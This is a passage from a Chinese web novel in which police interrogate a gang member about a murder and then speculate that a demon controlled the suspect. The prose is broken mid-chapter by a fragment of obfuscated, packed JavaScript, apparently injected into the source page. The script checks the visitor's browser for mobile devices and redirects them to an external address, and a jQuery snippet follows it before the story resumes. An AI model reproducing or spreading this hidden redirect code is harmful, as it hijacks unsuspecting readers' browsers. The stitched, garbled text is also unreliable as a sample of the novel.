杜理科翻开面前的资料,靠着椅子念:“王振兴,男,21岁,高中肄业,外号‘瘦猴’。哈,前科不少啊,打架斗殴、寻衅滋事……都是跟着辛奇钧干的,还是自己惹的麻烦啊?” 瘦猴活动了下脖子:“你不是警察吗?你自己去查啊。” “老子早就查到了,给你个机会让你自己说。”杜理科嗤之以鼻,“跟我在这拽呢?以为跟以前一样,没多久辛奇钧就来捞你了?” “告诉你,这次不一样!这次是刑事案件,没有调解余地,人死了,没法私了!” 瘦猴的眼神明显晃动了一下,但还是强撑着没有开口。 “你没点脑子吗?”杜理科拍了拍桌子,“你猜你为什么从分局送到市局来啊?事儿大了!” 杜理科把死者的照片举到他面前,低喝一声,“看着!” “你不心虚你不敢看什么!认不认得她!” 瘦猴低着头,眼神游移:“不认识。” “真不认识吗?”杜理科弯下腰直视他的眼睛,“看清楚。” “知道杀人判多少年吗?知道强丨奸判多少年吗?知道下药判多少年吗?这里面你干了多少?你得自己估个数啊。” 瘦猴紧张地咽了咽口水,强撑着说:“我等律师……” “等什么律师。”杜理科轻轻敲着桌子,表演了一个十分刻板的回忆,“啊那个,刘律对吧?他守着你们那辛大少爷呢。” “我跟你说过了,这次跟之前不一样,辛奇钧自身难保,没工夫管你。” 江定喊他:“坐回来吧,那么激动干什么,怎么说他也不可能是主犯,随便问问当时情况就行了。” “可他们都说了,这小子是辛奇钧的头号马仔,鞍前马后就他最积极,打架也冲在最前面。”杜理科故意转身坐回去,用笔指着他说,“如果辛奇钧要杀人,肯定找这小子搭把手啊。” “而且仔细想想,辛奇钧年纪轻轻虚成那样,真的杀得了人吗?” “不会是他失手把人杀了吧?” “不是!”瘦猴终于开了口,他涨红了脸,“我不知道这件事!辛少……他没跟我说!也没找我帮忙!” “我、我……” 他一咬牙说,“如果他找我帮忙,我也敢干!可他没找我!” 杜理科差点被这番法外狂徒发言气晕,强忍着继续问:“不是你?那还有谁?” 江定翻开资料:“好像有个叫方同伟的,很受辛奇钧信任。” “就他?”瘦猴不屑地冷笑,“他除了会溜须拍马,还会干什么?真需要他顶上的时候,他能派什么用?”

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17054619|193620||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > “我敢给辛少卖命,他敢吗!” “是吗?”江定从容地问,“那除了他,除了你,你觉得辛奇钧想杀人,会找谁帮忙?” 瘦猴沉默下来。 杜理科正要给他再上点压力,江定摇摇头制止,她收起文档:“你可以再想想,我们还会再来的。” “在你们没开口之前,我们会一轮一轮地问,直到你们有人开口。” “不然……你再给我们一个意见吧?” 江定微笑着看他,“你觉得谁会最先开口?” 他没有回答,江定也没等他太久,跟杜理科一块收拾好东西,准备离开讯问室。 但走到门口时,瘦猴却又开口了:“季文星。” 江定回过头,瘦猴低着头说,“季文星会最先开口,他会把一切都推给辛少,但他不是什么好东西。” 他梗着脖子,大概觉得自己在演古惑仔,“我不会背叛辛少的。” ——他说的是跟辛奇钧一块玩的同伴的名字。 江定和杜理科对视一眼,走出了讯问室。 “怎么样?”杜理科对谢重阳扬了扬下巴,“你的妙妙开关有没有感应?” 崔人往好奇:“什么‘妙妙开关’?” 谢重阳莫名有点不好意思:“你别听他乱说……” “就是小谢有时候会有突如其来的灵感,觉得哪里有点问题。”江定无奈地叹了口气,“千头万绪难厘清的时候,就会求助从天而降的灵感了。” “现在还没有。”谢重阳看向讯问室里的瘦猴,“但我觉得,他没说谎。” “我也觉得,我看他还觉得辛奇钧杀人没找他委屈呢。”杜理科叹气,问江定,“下一步,找季文星?” “嗯,哎对,他们来之前,分局也审过一遍了。”江定瞄了眼崔人往,还是选择跟谢重阳说,“之前审季文星的时候,他说,当时在停车场闹鬼了。” “他觉得辛奇钧突然打自己巴掌,是因为……死者的鬼魂附在他身上,对他进行复仇。” 杜理科撇了撇嘴:“人都死了,索命就光抽人巴掌啊?” 江定也笑着耸了耸肩:“对此辛奇钧一点印象都没有,他不相信自己抽了自己。” 杜理科撇嘴:“要不是停车场的监控坏了,我还真想让大少爷自己看看。” “这监控坏得也太凑巧了,我觉得这酒吧老板也有大问题!” 杜理科轻咳一声,神神秘秘地搭着谢重阳的肩膀问:“虽然我是不信鬼,但他这么说,谢队长,你怎么看?” 虽然陆队长没明说,但几人多少都了解一点“量子力学技术部”的调性。 “我?”谢重阳指了指自己,“我觉得……” 他认真地说,“得给辛奇钧这一伙人安排个尿检。” 杜理科:“……行,有道理。” 崔人往看着门内的瘦猴:“他没有碰到鬼。” 顿了顿补充,“没有碰到那种怨气重到能附身在人身上的鬼。” 杜理科松了口气:“我就说!既然专家都这么说了,那……” 崔人往接着说:“但是辛奇钧应该是被妖怪控制了。” “啊?”杜理科瞪大了眼睛。 崔人往看向谢队长:“他们去问季文星,咱们去看看李胡胡吧?他应该也在这里吧。” “在。”杜理科给他指了个方向,见谢重阳跟上去,连忙一把拉住他,“哎等等。” 他压低声音,指了指崔人往的背影,“你……这个你不说要尿检了?” “说什么呢!”谢重阳严肃地拍了拍他的肩膀,“这是咱们市局的同志。” 他竖起大拇指,“免检产品!”